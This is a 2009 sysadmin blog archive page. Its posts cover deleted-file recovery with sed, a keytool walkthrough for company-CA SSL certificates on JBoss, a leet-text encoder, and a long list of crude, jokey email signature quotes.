t££2£à£à}¥ ¥ O§p§pÄ §§oÿÿö¨Awe'll just put some

Ugly ;) Usually (mostly when you get directly on top of trying to recover your data) your deleted data will be in this gigantic block-file in sequence. If you wait too long, and you're still lucky enough to get most of it, you may find that your data is out-of-sequence. In our case, we can retrieve our file by simply printing out the lines, one by one, using a blanket "sed -n" print statement:

host # sed -n 5,14p the_found_file_I_hope
l¨oÿÿþp-B
8B0
BBÀÀÜ
LgØRytyt
Xyy
^yy
f}}
Co G
t££2£à£à}¥ ¥ O§p§pÄ §§oÿÿö¨Awe'll just put some
semi-random text in§o+
here to see if we can
find this later with
grep. For simplicity's
sake, we'll include the
word semi-unusual so that we
have something in this
file that probably won't
be in any other files

Sure, it's not perfect (a little garbage to edit out), but it's better than nothing ;)

Tomorrow, we'll take a look at how lazarus can make this process much simpler. ...and take much much longer ;)

Cheers,

, Mike

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Monday, May 18, 2009

Setting Up Company CA SSL Certificates for JBoss, etc...

Hey there,

Hope your work week is starting off somewhat pleasantly. I'm just about un-sick and almost up to cranking out a decent post. Pardon this transitional piece ;)

The following is a simple procedure for setting up an SSL certificate for a JBoss/Tomcat, etc, server, using a local Certificate Authority on either Linux or Unix. This requires a few extra steps, since you need to make sure that your local CA is included in your JBoss' "trusted certificates" file. This whole process is simpler when using Verisign, etc, since they're included in most "trusted certificates" files by default.

NOTE: These instructions should work for the any other java "keytool" command, as well, although some options might be slightly differently worded (keytool --help will point out the little differences).

CONVENTIONS:
a. Variables that should remain constant are denoted by UPPER_CASE_NAMES.
b. Constant Variables, that are entered interactively, are printed in [BRACKETS]

And, here we go, step by step so I don't lose track ;)

1. Generate a keystore file using the keytool command (Example name: YOUR_ALIAS_NAME.keystore):

host # /path/to/your/specific/jboss/java_dir/bin/keytool -genkey -alias YOUR_ALIAS_NAME -keyalg RSA -keystore YOUR_ALIAS_NAME.keystore  -validity 3650  <--- Note that this time increment is in days.  You may not need your SSL certificate to be good for 10 years, but it doesn't hurt.
Enter keystore password:  [YOUR_KEYSTORE_PASSWORD]
What is your first and last name?
  [Unknown]:  [YOUR_HOST_NAME_OR_CLUSTER_NAME]
What is the name of your organizational unit?
  [Unknown]:  [YOUR_WEBSERVER_MGMT_TEAM]
What is the name of your organization?
  [Unknown]:  [ACME_INC]
What is the name of your City or Locality?
  [Unknown]:  [DEADWOOD_GULCH]
What is the name of your State or Province?
  [Unknown]:  [NOT_KANSAS]
What is the two-letter country code for this unit?
  [Unknown]:  [US]
Is CN=YOUR_HOST_NAME_OR_CLUSTER_NAME, OU=YOUR_WEBSERVER_MGMT_TEAM, O=ACME_INC, L=DEADWOOD_GULCH, ST=NOT_KANSAS, C=US correct?
  [no]:  [yes]

Enter key password for YOUR_ALIAS_NAME
        (RETURN if same as keystore password): [return]

2. Generate a certificate request using your new keystore file, also using the keytool command (Example name: YOUR_ALIAS_NAME.csr):

host # /path/to/your/specific/jboss/java_dir/bin/keytool -certreq -alias YOUR_ALIAS_NAME -file YOUR_ALIAS_NAME.csr -keypass YOUR_KEYSTORE_PASSWORD -keystore YOUR_ALIAS_NAME.keystore -storepass YOUR_KEYSTORE_PASSWORD
host # ls
YOUR_ALIAS_NAME.csr YOUR_ALIAS_NAME.keystore

3. Validate your certificate signing request by eye. Can you tell if it's correct this way? Usually not ;)

host # cat YOUR_ALIAS_NAME.csr
-----BEGIN NEW CERTIFICATE REQUEST-----
MIIBxTCCXS4CXQXwgYQxCzXJBgNVBXYTXlVTMREwDwYDVQQIEwhJbGxpbm9pczEUMBIGX1UEBxML
TGFrZSBGb3Jlc3QxETXPBgNVBXoTCEdyYWluZuVyMREwDwYDVQQLEwhBVE8gVGVhbTEmMCQGX1UE
XxMdcWFsYXXuMjEucWEyLXNhcC5ncmFpbmdlci5jbu0wgZ8wDQYJKoZIhvcNXQEBBQXDgY0XMIGJ
XoGBXJ96XSCCcNQR0yBsueuGU5RpSYNvDCEf+eQKlv1qf9NCsxY8ceB8GPv0wXd9uEuC6itrGklo
x4dNI9Nj0zzhWg/TSkgOxjGQTxPZwmhqLpxQ44SxQv3HZzD9R477UtJHKuwFunJUdcCgOu8jGkqF
jxSr/4WMKuq1CgIXMqzuePK1XgMBXXGgXDXNBgkqhkiG9w0BXQQFXXOBgQBYJJwNT9DUxl+Zdpwu
Ze3pJSXDM+Xlngun5Dchdsw1RRyLzJQBghqHDFTDdCwdqu0xMsHTsblihsKGDNyx78tHT8DE4rix
N6/u//X9HXxrV4Zgd+uujlQ+ZWQXWCWgvuskosM3F1h9IszeTWfXU/5OmFDCvd4iSxrfiVSXKUUG
Og==
-----END NEW CERTIFICATE REQUEST-----

4. Cut and paste the certificate request into an email or form addressed to the individual, or team, at your organization who will be generating your server certificate file for you (you can also ftp this or scp it - it should not be an issue. If your .csr file becomes corrupted in the sending, it will be impossible to create a server certificate from, so it shouldn't be an issue. You'll just need to resend it :)

5. Ensure that you have the basic ACME_INC certificate authority file. If you do not have that already, request that with your server certificate request (or request it separately, if necessary). This file's name may differ, depending upon your company's naming conventions. The folks who dole it out should know what it's called and be able to identify it by your long-winded explanation ;)

6. Once you've received your server certificate, upload both certificates to the server on which you're going to import them (ftp, scp, etc). Again, whatever way you can get them there should be okay. Cut and paste may not always work. (Example name for your requested certificate: YOUR_ALIAS_NAME.csr.der -- the name doesn't really matter, as long as you're sure it's the server certificate file that matches your certificate signing request)

7. Import the basic ACME_INC certificate authority file into your software's keystore (be sure to import it into your web server's "cacerts" file, or the equivalent):

host # /path/to/your/specific/jboss/java_dir/bin/keytool -import -alias COMPANY_CERT_ALIAS -file /home/username/COMPANY_CERT_ALIAS.der -keystore /path/to/your/specific/jboss/java_dir/jre/lib/security/cacerts

8. Enter the default password (or the password that was given to you) and you should see the following (similar) output. Be sure to type "yes" at the "Trust this certificate?" prompt:

Enter keystore password: [WHATEVER_THE_DEFAULT_PASSWORD IS]
Owner: CN=ACME_INC Organizational CA, O=WWACME_INC
Issuer: CN=ACME_INC Organizational CA, O=WWACME_INC
Serial number: 21c11e97995aadfsdjljflassjoeruqeuaowg4ffbc333585058292438ac7294538ce065
Valid from: Thu Sep 12 08:42:00 CDT 2002 until: Sun Feb 03 17:59:00 CST 2036
Certificate fingerprints:
MD5: 34:E8:AC:7E:DD:A1:DB:3E:56:12:09:67:85:4D:CC:95
SHA1: F7:83:7D:DF:D1:B2:09:F0:0F:3A:E4:A5:43:86:AB:26:19:FD:7C:40
Trust this certificate? [no]: [yes]
Certificate was added to keystore

9. Now, import your server certificate into the new keystore you created in step 1. Note that the "-trustcacerts" option is imperative, or your self-signed SSL certificate will show as being owned by the host server and not belonging to your company's main certificate store (This will generate an error for the user in his/her browser, but won't make SSL not work (??? ;)

host # /path/to/your/specific/jboss/java_dir/bin/keytool -import -alias YOUR_ALIAS_NAME -trustcacerts -keystore YOUR_ALIAS_NAME.keystore -file /home/username/WEBSERVER_NAME.csr.der
Enter keystore password: [YOUR_KEYSTORE_PASSWORD]
Certificate reply was installed in keystore

10. List out the contents of your keystore file. It should only contain 1 "keyEntry" entry type (unless you're specifically adding more than 1) and a "Certificate chain length" of 2 (or, as mentioned, more). If your "Certificate chain length" does not equal 2 or more, your keystore is mostly likely going to be advertising a self-signed certificate (which may be suitable depending on your needs):

host # /path/to/your/specific/jboss/java_dir/bin/keytool -v -list -keystore YOUR_ALIAS_NAME.keystore
Enter keystore password: YOUR_KEYSTORE_PASSWORD

Keystore type: jks
Keystore provider: SUN

Your keystore contains 1 entry

Alias name: YOUR_ALIAS_NAME
Creation date: May 15, 2009
Entry type: keyEntry
Certificate chain length: 2
Certificate[1]:
Owner: CN=YOUR_HOST_NAME_OR_CLUSTER_NAME, OU=YOUR_WEBSERVER_MGMT_TEAM, O=ACME_INC, L=DEADWOOD_GULCH, ST=NOT_KANSAS, C=US
Issuer: CN=ACME_INC Organizational CA, O=WWACME_INC
Serial number: 21c0562e55d70ea716042574da84f24c54f6871b6b453a99303ddea7ce40202163c35eb
Valid from: Fri May 15 13:13:00 CDT 2009 until: Thu May 15 13:13:00 CDT 2014
Certificate fingerprints:
MD5: 7F:A7:7D:A2:A7:F5:9D:8E:E9:BD:BF:30:77:A5:0C:D1
SHA1: 6E:C1:86:77:8F:CC:17:E2:C7:F5:25:27:E4:0F:2E:BA:06:5D:7C:D8
Certificate[2]:
Owner: CN=ACME_INC Organizational CA, O=WWACME_INC
Issuer: CN=ACME_INC Organizational CA, O=WWACME_INC
Serial number: 21c11e97995aadfsdjljflassjoeruqeuaowg4ffbc333585058292438ac7294538ce065
Valid from: Thu Sep 12 08:42:00 CDT 2002 until: Sun Feb 03 17:59:00 CST 2036
Certificate fingerprints:
MD5: 34:E8:AC:7E:DD:A1:DB:3E:56:12:09:67:85:4D:CC:95
SHA1: F7:83:7D:DF:D1:B2:09:F0:0F:3A:E4:A5:43:86:AB:26:19:FD:7C:40

*******************************************
*******************************************

11. Update your web server's configuration file (For instance, JBoss' server.xml file "connector" attributes) to indicate the name and location of your keystore file (Note that the "keyAlias" attribute definition is not necessarily necessary) and any necessary passwords (although this can pose a bit of a security risk):

host # vi /WEBSERVER_NAME/WEBSERVER_NAME401/jboss/server/default/deploy/jboss-web.deployer/server.xml
<Connector port="8080" protocol="HTTP/1.1" SSLEnabled="true"
maxThreads="150" scheme="https" secure="true"
clientAuth="false"
strategy="ms"
address="${jboss.bind.address}"
keystoreFile="${jboss.server.home.dir}/conf/YOUR_ALIAS_NAME.keystore"
keystorePass="YOUR_KEYSTORE_PASSWORD"
sslProtocol="TLS"
keyAlias="YOUR_ALIAS_NAME"/>

12. Save your work, fire up your server and go check your web site's certificate. You should be all set!

Cheers,

, Mike

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Sunday, May 17, 2009

Online Hacker-Leet Encoder - Still Fun After All These Years!

Hey there,

A good Sunday to you all :)

Today, I stumbled across this Hacker/Leet "translator" that's been online at www.albinoblacksheep.com for several years now. The reason I put "translator" in quotes is that this online script actually only "encodes" (if we're going to be fussy ;) your regular text into Hacker/Leet text. There is no facility for reverse-translating your Hacker/Leet language back into regular text. That would (I imagine) be a nifty trick if you could pull it off ;)

The site, itself, has some other interesting stuff on it, but the decoder/translator is my favorite, by far. It even allows you to choose the degree to which you want to "Hackerize" your text!

We'll use the preceding paragraph as a simple example and feed it to the script at the default 50% translation level. The output becomes this:

7h3 $173, 17$3#, h4$ $0m3 07h3r 1n73r3$71n9 $75 0n 17, b57 7h3 P3(0P3r/7r4n$#470r 1$ m% 4v0r173, b% 4r. 17 3v3n 4##0w$ %05 70 (h00$3 7h3 P39r33 70 wh1(h %05 w4n7 70 "H4(|{3r123" %05r 73x7!

A bit difficult to read. At 100%, you get this!

7|-|3 $173, 17$3#, |-|4$ $0|\/|3 07|-|3. 1|\|73.3$71|\|9 $75 0|\| 17, _57 7|-|3 P3(0P3./7.4|\|$#470. 1$ |\/|% 4\/0.173, _% 4.. 17 3\/3|\| 4##0\/\/$ %05 70 (|-|00$3 7|-|3 P39.33 70 \/\/|-|1(|-| %05 \/\/4|\|7 70 "|-|4(|{3.123" %05. 73)(7!

???

Generally, about 35% is good enough (and still relatively legible ;)

Th3 $1t3, 1t$3#f, h4$ $0m3 0th3r 1nt3r3$t1ng $t5ff 0n 1t, b5t th3 P3(0P3r/tr4n$#4t0r 1$ m% f4v0r1t3, b% f4r. 1t 3v3n 4##0w$ %05 t0 (h00$3 th3 P3gr33 t0 wh1(h %05 w4nt t0 "H4(k3r1z3" %05r t3xt!

At 30% and below, the translation gets reduced to just doing simple letter number replacments, which are no fun at all ;) 30% translation below:

Th3 s1t3, 1ts3lf, h4s s0m3 0th3r 1nt3r3st1ng stuff 0n 1t, but th3 d3c0d3r/tr4nsl4t0r 1s my f4v0r1t3, by f4r. 1t 3v3n 4ll0ws y0u t0 ch00s3 th3 d3gr33 t0 wh1ch y0u w4nt t0 "H4ck3r1z3" y0ur t3xt!

If you have the time, go over there and check it out. It's a lot of fun. Try recursive translation, too. Then let people puzzle over it ;)

Cheers,

, Mike

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Saturday, May 16, 2009

Another Gigantic Old Computer

Note: Thanks to the LXer that noticed this one:

It turns out this picture was actually a very well-done hoax!

The link to the hoax here: http://www.snopes.com/inboxer/hoaxes/computer.asp

I'd be upset if it wasn't so funny ;)

Hey There,

Man, do I love those old time computers. You'll notice the picture below. Those where the days. Back when a home computer's description actually made more sense, since you could probably gut it and live in it after the memory went bad ;)

I found this picture at WallStreetFighter.com in an equally interesting article about the most expensive computer in the world (I think. Maybe someone's outdone this platinum-jeweled monstrosity by now ;)

Enjoy and have a great weekend!

, Mike

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Friday, May 15, 2009

Linux Games That Were Fun Two Years Ago

Hey There,

Here's an interesting site. It's a top 10 Linux Games List For 2006

Check it out and see how many you still count as a favorite. I will always love Mah Jongg (doesn't have to come with a K ;) since it's virtually impossible to lose (I like games that make me feel less stoopid ;)

Tonight, I think I'll sleep. If I don't get woken up by work again; or by nightmares about being at work ;)

Thanks to everyone who keeps on reading. Now that I've beaten the flu, it'll just be a matter of days before the antibiotics stop messing with my internal organs and I have the energy to sleep 2 hours per 24 and write posts with substance again.

Actually, if I could find a fellow poster who wouldn't mind sharing the load (and the wonderful residual PR :) I'd like to make this blog into a full fledged Linux and Unix site (with a blog attached). Bigger and better than what it is. I have a vision in my head that, unfortunately, exceeds the boundaries of my free time. And, in this economy, I can't afford to say no to paying work...

I can dream, can't I? ;)

, Mike

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Thursday, May 14, 2009

Hilarious Linux Mastercard Spoof T-Shirt

Hey There,

Well, this week is a wash. Still coming down from being sick and getting right back into the wacky SysAdmin work-week. Yesterday/today, I got to work until 5am and spent most of today semi-conscious.

This works out somewhat OK, though, since I'm finding a lot of funny stuff all over the net, like this Mastercard spoof tee shirt picture from ReviewSaurus

Hope this gives you at least a chuckle :)

, Mike

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Wednesday, May 13, 2009

Funny Signature Quotes

Hey There,

I'm finally finishing up my data recovery experiment, and it's actually working! Of course (note to self), when you're sifting through empty blocks on a partition with lots of free space, and looking for information which (of course) you don't know the exact location of, be prepared to wait for days. The good news is that (if you find its worth your time), you can get back virtually anything from any Unix or Linux filesystems that you've deleted; assuming that the block(s) it was written to hasn't/haven't been re-allocated and written over again!

While I continue to waste all my time verifying my findings, going back up my 36,000 line terminal screen buffer (which I've already copied off twice... or three times ;) and working like a sick dog, I inevitably trip across a random thing or two. Today I stumbled over a great collection of electronic mail signature quotes at Snafu (which adheres to the old military meaning of the acronym (Situation Normal - All Fu©%ed Up :)

Some of the quotations are hilarious and some are just mercifully short ;) Read them in good health and try not to roll on the floor laughing out loud. Please remain seated and smile on the inside. Oh, yeah, and don't forget to return your trays to their upright position ;)

Cheers,

Taunt not the sysadmin, for he can become you and make your life interesting.
%
"An NT server can be run by an idiot, and usually is." -- Tom Holub, a.h.b-o-i
%
"We aim to please. You aim too, please." -- above urinal
%
answering machine: "you've reached an imaginary number.
please rotate your phone 90 degrees and try again."
%
"The day Microsoft makes something that doesn't suck is probably the day they
start making vacuum cleaners" -- Ernst Jan Plugge
%
"How degrading -- to actually have to use a _voice-quality_ line for _speech_."
-- Mike Andrews, a.s.r
%
Blessed are the PHBs-who-do-not-understand-hardware, for they can be
coerced into signing for upgrades to make life a bit more tolerable
%
It is not I who seek the young fool; The young fool seeks me.
At the first oracle I inform him. If he asks two or three times, it is
importunity. If he importunes, I give him no information. -- I Ching
%
Of all the things I've lost, I miss my mind the most.
%
Meddle not in the affairs of sysadmins, for they are subtle and quick to lart.
%
Q. what do you get whan you cross a tsetse with a mountain climber?
A. nothing, you can't cross a vector with a scalar.
%
Q. how many hackers does it take to screw in a light bulb?
A. Huh?...What? Oh, it's dark in here?
%
Q. how many dyslexics does it take to bulb a light change?
A. eno.
%
Q. how many lightbulbs does it take to change a light bulb?
A. one, if it knows its own Goedel number.
%
Q. what do you call an elephant with a machine gun?
A. sir.
%
Q. why do you get when you cross an elephant and a grape?
A. sin(theta) Note: assumes elephant==grape==1
%
How do I set my LaserPrinter to "Stun"?!
%
"Any sufficiently advanced political correctness is indistinguishable
from irony." -- Erik Naggum
%
This mind intentionally left blank.
%
Usenet: open mouth, insert foot, propagate internationally
%
Any suffiently advanced magic is indistinguishable from technology.
%
Relax. It's only zeroes and ones.
%
My name is sendmail.cf. You killed my process. Prepare to vi.
%
"There are only two industries that refer to their customers
as 'users'." -- Edward Tufte
%
"My manner of thinking, so you say, cannot be approved.
Do you suppose I care?" -- Marquis de Sade
%
"Moral indignation is jealousy with a halo." -- H. G. Wells
%
"The most exciting phrase to hear in science, the one that heralds new
discoveries, is not 'Eureka!' but 'That's funny ...'" -- Isaac Asimov
%
"The time you enjoy wasting is not wasted time." -- Bertrand Russell
%
Documentation is the castor oil of programming. Managers know it must
be good because the programmers hate it so much.
%
Unix *is* user-friendly. It is not ignorant-friendly and idiot-friendly.
%
Any sufficiently fucked-up technology is indistinguishable from magic.
-- ?, paraphrasing Arthur C. Clarke
%
Sysadmin (n): The untrained being underpaid for doing the impossible with
the obsolete.
%
Come to think of it, there are already a million monkeys on a million
typewriters, and Usenet is NOTHING like Shakespeare.
%
Any sufficiently advanced bug is indistinguishable from a feature.
%
You can believe anything you want. The universe is not obliged to keep
a straight face.
%
> What should I do ......the machine can't find the program iexplorer.exe...
Breathe a sigh of relief. -- Arthur Hagen in no.www
%
"Opinions are like assholes, I'll let you know when I want yours."
-- David Cross and/or Bob Odenkirk
%
Duct tape is like the force. It has a light side, and a dark side, and
it holds the universe together... -- Carl Zwanzig
%
cc:Mail is a wonderful application, as long as you don't want to
read or send mail. -- Jan van den Broek
%
Talk sense to a fool and he calls you foolish. -- Euripides
%
"VMS is a text-only adventure game.
If you win you can use unix." -- w.davidson
%
"Unlike cockroaches, Windows NT is something you can't
possibly be unfair to." -- Peter da Silva
%
"It's a shame when god gives them such great butts and makes 'em think
with them too" -- phantasmobastard
%
"Bother," said Pooh, "Eeyore, ready two photon torpedoes and lock
phasers on the Heffalump, Piglet, meet me in transporter room three."
-- Robert Billing
%
Hier arbeiten 200 000 000 Hertz, 1 Pinguin und 1 Esel
%
Usenet est omnis divisa in partes tres, quarum unam incolunt trolli, aliam
useri regulari, tertiam, qui ipsorum lingua dei, nostra admini appellantur.
-- Oliver Wellinghoff
%
"One Code to rule them all, one Code to bind them
In the land of Redmond where the Shadows lie." -- Joe Thompson
%
Diplomacy is the art of saying "nice doggy" until you can find a rock.
-- Bjorn Sandberg
%
Do not meddle in the affairs of kitties, for they are subtle
and will piss in your keyboard. -- Peter H. Coffin
%
Remember, Murphy was an optimist. -- Peter van Hooft
%
A work is never completed except by some accident such as weariness,
satisfaction, the need to deliver, or death. -- Paul Valery
%
Microsoft Shoe: Where do you want to limp today? -- Ernst Jan Plugge
%
Windows95 is a 32-bit extension to a 16-bit shell of an 8-bit OS originally
written for a 4-bit microprocessor by a 2-bit company that can't stand
1-bit of competition.
%
There are two rules for success in life:
Rule 1: Don't tell people everything you know.
%
Es ist nichts so absurd, daß Gläubige es nicht glaubten.
Oder Beamte täten. -- Arno Schmidt
%
We're standing there pounding a dead parrot on the counter, and the mgt.
response is to frantically swap in new counters to see if that fixes the
problem. -- Peter Gutmann
%
We don't need no action items, We don't need no flow control!
Lusers, leave your BOFHs alone!
All in all, it's just another ticket in the queue.
%
Q. What kind of a dog says: "bofh! bofh!?"
A. A rootweiler.
%
Q. How do you solve bus problems?
A. Shoot the driver.
%
Heisenberg slept here, or somewhere else nearby.
%
The only truly safe "embedded system" is the system that has
an axe embedded in it... -- Tanuki
%
He who joyfully marches to music in rank and file has already earned my
contempt. He has been given a large brain by mistake, since for him the
spinal cord would fully suffice. -- Einstein
%
The type fpos_t is some type of Microsoft product. -- Rob Fagen
%
Yea, tho I walk thru the valley of the shadow of clues, I shall fear no
luser, for Thou lart with me, Thy chicken and Thy manual, they comfort me.
-- Dave Aronson
%
A mathematician is a machine for converting coffee into theorems.
-- Paul Erdos
%
Pauli's exclusive, Heisenberg's uncertain and Schroedinger just waves
-- Caton Little
%
Imagine a stegosaurus wearing rocket powered roller skates, & you'll get a fair
idea of <app>'s elegance, stability & ease of crash recovery. -- Lionel Lauer
%
I've seen Sun monitors on fire off the side of the multimedia lab. I've seen
NTU lights glitter in the dark near the Mail Gate. All these things will be
lost in time, like the root partition last week. Time to die... -- P. Gutmann
%
"One World, One Web, One Program" - Microsoft Promotional Ad
"Ein Volk, Ein Reich, Ein Führer" - Adolf Hitler
%
Catapultam habeo. Nisi pecuniam omnem mihi dabis, ad caput tuum saxum
immane mittam. -- <some>
%
I am Dyslexia of Borg. Prepare to have your arse laminated.
%
You know you're a Unix guy when your dreams start with #!/bin/sh.
%
`bastard operators from hell' anagrams to `shatterproof armored balls'.
-- Cliff Miller
%
The correct way to roll NT out is out the door and into the nearest
dumpster or other large waste receptacle. -- Mike Andrews
%
Only two things are infinite, the universe and human stupidity,
and I'm not sure about the former. -- Albert Einstein
%
W2k: Why Y2k won't be remembered as the worst disaster in computing history
-- Chris Adams about Windows 2000
%
bash: syntax error near unexpected token `=:)'
%
NT and security should not be used in the same sentence without negation
-- Joe Zeff
%
We are Borg. AUP's are irrelevant. You will make money fast...
-- Chris King about spammers
%
this wine is particularly heavy, and is mostly recommended for hand-to-hand
combat. -- Eric Idle
%
Hit any user to continue.
%
I feel like a genocidal maniac when emacs asks me if
I want to kill 10789 characters.
%
cthread. cthread_fork(). Fork, thread, fork!
%
C makes it easy to shoot yourself in the foot. C++ makes it harder,
but when you do, it blows away your whole leg. -- B. Stroustrup
%
/* I can C clearly now */
%
Application has reported a "Not My Fault" in module KRNL.EXE
in line 0200:103F
%
urbi et IP -- axelm in <mode=pope>
%
I just went visual on this goofy looking Finn riding on a gnu, wielding
one pissed off penguin... gah -- Bob The Sane
%
A)bort, R)etry, I)nfluence with large hammer
%
A)bort, R)etry, P)ee in drive door
%
Backup not found: A)bort, R)etry, M)assive heart failure?
%
Adam and Eve virus: Takes a couple of bytes out of your Apple.
%
Arnold Schwarzenegger virus : Terminates and stays resident. It'll be back.
%
I bet the human brain is a kludge. - Marvin Minsky
%
If God had intended Man to program, we would be born with serial I/O ports.
%
Real programs don't eat cache.
%
Avoid temporary variables and strange women.
%
Base 8 is just like base 10, if you are missing two fingers. - Tom Lehrer
%
E Pluribus UNIX
%
Emacs is a nice operating system, but I prefer UNIX. - Tom Christiansen
%
Every program in development at MIT expands until it can read mail.
%
f u cn rd ths, u cn gt a gd jb n cmptr prgrmmng.
%
I came, I saw, I deleted all your files.
%
If I had it all to do over again, I'd spell creat with an "e". - Kernighan
%
My computer NEVER cras
%
LISP: To call a spade a thpade.
%
Never trust a computer you can't lift. - Stan Masor
%
Never trust a computer you can't throw out the window. - S. Hunt
%
Programming is an art form that fights back.
%
Systems programmers are the high priests of a low cult. - R. S. Barton
%
The attention span of a computer is only as long as its power cord.
%
The determined programmer can write a FORTRAN program in any language.
%
The steady state of disks is full. - Ken Thompson
%
grep..grep..grep.. (frog with UNIX stuck in it's throat)
%
AAAAAA - American Association Against Acronym Abuse Anonymous.
%
[Unix] is not necessarily evil, like OS/2. - Peter Norton
%
Beware of bugs in the above code; I have only proved it correct, not tried it.
-- Donald Knuth
%
Justify my text? I'm sorry but it has no excuse.
%
The programmer's national anthem is 'AAAAAAAAHHHHHHHH'. -- Weinberg, p.152
%
If debugging is the process of removing bugs, then programming must be the
process of putting them in. -- Dykstra
%
MCSE: Microsoft Certified Shutdown Engineer -- Tomi Sarvela
%
"NT disk, meet Mr. Microwave." -- David Parsons
%
The purpose of a windowing system is to put some amusing
fluff around your one almighty emacs window. -- Mark on gnu.emacs.help
%
Rex is to Regina as Vax is to... -- Vadim Vygonets
%
Ahhh...I see the fuck-up fairy has visited us again... -- Nigel Williams
%
Sysadmin Barbie! Complete with tiny pager, Leatherman, selection of LARTs,
and makeup kit for that haven't-slept-in-3-days look -- Heather Garvey (?)
%
Then I dream of a world where idiots are hunted like wild pigs.
-- Stephen Edwards
%
Everyone gives lip service to that 7 layer model but that fact is that the
only thing that has ever been truly OSI 7 layer compliant is the
Taco Bell 7 Layer Burrito. -- Kent "Dogman" Dahlgren
%
The weaknesses and the strengths of computer networking derive from the same
feature: it is easy to send messages to anyone who has access to the network.
-- Donald A. Norman, The Trouble with Networks (Datamation 1/1982)
%
Competely pointless fact of the day: One of my rats is called Solaris, due
to the fact it's fat and bloated. The other is called Perl. It's a nervous
insane little animal. -- Ashley Penney
%
I'm picturing Windows NT jamming a network backbone going 'la la la la I can't
hear you la la la la la' -- Graham Reed
%
NT is 'more secure' in so far as, if your average cracker screws around with
it very much, a NT system tends to remove itself from the network rather
promptly. -- ?, some CERT guy
%
Computers save time like kudzu prevents soil erosion.
%
Triple-Oh Seven: Licensed to LART. -- Anthony DeBoer
%
Never meddle in the affairs of NT. It is slow to boot
and quick to crash. -- Stephen Harris
%
Fsck, either way I'm screwed. -- petro
Now *that* is the Sysadmin's motto. -- Peter da Silva
%
You are trapped in a maze of screens and ssh sessions all alike.
It is dark, and you are likely to log off the wrong account. -- Nep
%
You are in a twisty maze of lusers all alike. -- Paul Martin
While, on the surface, this appears to be true. In actual fact, when examined
closely, each and every luser is uniquely and serially stupid. -- Geoff Lane
%
If USENET is anarchy, IRC is a paranoid schizophrenic after 6 days on speed.
-- Chris "Saundo" Saunderson
%
In German "invent-a-new-word-where-a-perfectly-good-one-already-exists"
is probably a word. -- Peter da Silva
%
From empirical experience, your Exchange admin needs to put down the
crack pipe and open a window to disperse the fumes. -- Joe Thompson
%
We aim to please. Ourselves, mostly, but we do aim to please. -- A. DeBoer
%
Actually, we have scientifically determined that Heisenberg did indeed
sleep exactly here. However, we have no idea whatsoever just how fast
asleep he was. -- Dave Aronson
%
Starting your usenet experience with this group is like starting
your drug experiences with 500 mikes of acid with an
amphetamine chaser. -- Rebecca Ore about the monastery
%
"Lotus Notes for Dummies" is surely a single page pull out with
"don't" printed on it. -- Unknown
%
To rephrase, spam is not the answer. Spam is the question.
Death is not the answer, but pretty close to it. -- Vadik
%
When computers emit smoke, it means they've chosen a new Pope.
Unfortunately, they invariably choose the wrong one and immediately get
condemned to nonfunctionality for heresy. -- Anthony DeBoer
%
Cmdmt. XI: Thou shalt not inflict upon me thy useless prattlings, for
I thy God am a busy God. -- Joe Thompson
%
Luser is always a luser. You can't educate them. That's not what God
invented education for. That's what Simon invented LART for. -- Vadim
%
All programs evolve until they can send email. -- Richard Letts
Except Microsoft Exchange. -- Art
%
The Microsoft Torque Wrench: what do you want to shear today?
-- Malcolm Ray
%
I hope that's not UI -- but the proper term is a "Jet database", accessed
through the "Jet engine". A fitting name, considering that it sucks and
blows. -- Felix about Exchange's mailbox format
%
I must admit that Micro$oft does seem to bear an awful resemblence to the
Sirius Cybernetic Corporation. Considering that my attempts at using Word
always resulted in something almost, but not quite, entirely unlike
a document. -- Rich Kaszeta
%
On two occasions I have been asked [by members of Parliament], 'Pray, Mr.
Babbage, if you put into the machine wrong figures, will the right answers
come out?' I am not able rightly to apprehend the kind of confusion of ideas
that could provoke such a question. -- Charles Babbage
%
Surely the 4 sysadmins of the apocalypse should be:
edquota, rm -rf, kill -9, and shutdown. -- Rob Blake
%
He's wandering the wilds of West Buttfsck, administering a little personal
attention to Jenny L. User [family motto: "My ISBN isn't working"].
-- K.T. Wiegman
%
Anyway the :// part is an 'emoticon' representing a man with a strip
of sticky tape across his mouth. -- R. Douglas
%
An Emacs reference mug is what I want. It would hold ten gallons
of coffee. -- Steve VanDevender
%
It used to be said [...] that AIX looks like one space alien discovered
Unix, and described it to another different space alien who then implemented
AIX. But their universal translators were broken and they'd had to gesture
a lot. -- Paul Tomblin
%
"Quoted-Printable: a standard for mangling Internet messages
Quoted-Unreadable: the result of applying said standard
Unquoted-Unprintable: the comments from the recipients of the above" -- bf8
%
To sysadmin or not to sysadmin... that is the question, whether tis nobler
in the minde to suffer the slings and arrowes of outragious fortune, or
climb to the top of the building with a fucking high-power rifle and scope.
-- Greg "Twotone" Spiegelberg
%
When you understand UNIX, you will understand the world.
When you understand NT....you will understand NT -- R. Thieme
%
Q. What's the difference between Batman and Bill Gates?
A. When Batman fought the Penguin, he won.
%
The Rime Of The Ancient Sysadmin:
Lusers, lusers, everywhere - And all the disks did shrink
Lusers, lusers everywhere - Nor any one could think. -- J.D. Baldwin
%
"When the revolution comes, we'll need a longer wall." -- Tom De Mulder
%
"Be pedantic in what you accept,
and arbitrarily brutal in what you send" -- Malcolm Ray
%
I'm not a luser laser, I'm a luser laser's mate, and I'm only lasing
lusers 'cause the luser laser's late.. or something.. -- Gid Holyoake
%
When I do it, it's development. When you do it, it's coding.
When he does it, it's mindless hacking." -- Paul Tomblin
%
An ASCII character walks into a bar and orders a double. "Having a
bad day?" asks the barman. "Yeah, I have a parity error," replies the
ASCII character. The barman says, "Yeah, I thought you looked a bit
off." -- Skud
%
PHB: "According to M$ Project, your utilization level is 1850%."
CS: "You mean I have a load average of 18.5?" -- Charlie Stross
%
If addiction is judged by how long a dumb animal will sit pressing a lever
to get a "fix" of something, to its own detriment, then I would conclude
that netnews is far more addictive than cocaine. -- Rob Stampfli
%
There's all kinds of things that can be done to improve FTP but the
single best would be to shoot it and shovel dirt over it." -- M. J. Ranum
%
Give a man a fire and he's warm for a day, set a man on fire and he's
warm for the rest of his life. -- the fish analogy, according to Simon Cozens
%
"The PROPER way to handle HTML postings is to cancel the article, then hire a
hitman to kill the poster, his wife and kids, and fuck his dog and smash his
computer into little bits. Anything more is just extremism." -- Paul Tomblin
%
Things should be as simple as possible, but not simpler. -- Albert Einstein
%
"Network yo kakumei suru tame ni" means your ass is mine, motherfucker.
-- Wednesday
%
Ich kenne auch ein Klo, wo "Austria Email" draufsteht. Das ist
wahrscheinlich eine Art Rohrpost. -- Robert Bihlmeyer in at.sonstiges
%
